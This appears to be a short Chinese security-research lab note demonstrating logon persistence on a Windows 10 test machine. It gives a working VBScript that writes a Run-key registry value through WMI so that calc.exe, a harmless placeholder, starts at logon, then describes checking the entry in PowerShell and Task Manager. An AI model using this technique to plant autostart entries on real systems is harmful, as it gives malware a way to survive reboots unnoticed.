返回首页
EN
H7 / SECURITY RESEARCH NOTES

通过VBS脚本设置注册表开机启动项为calc.exe

环境说明

IPHOSTNAMENOTE
10.10.10.88Win10测试机器

复现过程

编写VBS脚本

  • 设置开机启动项为C:\Windows\System32\calc.exe
const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\default:StdRegProv")
    
strKeyPath = "Software\Microsoft\Windows\CurrentVersion\Run"
strValueName = "TestDemos"
strValue = "C:\Windows\System32\calc.exe"
Return = objReg.SetStringValue(HKEY_CURRENT_USER, strKeyPath, strValueName, strValue)

运行并检测是否成功

  • 通过powershell检测开机启动项

  • 如上图注册表开机启动项添加成功

  • 也可通过任务管理器检测是否成功,如下图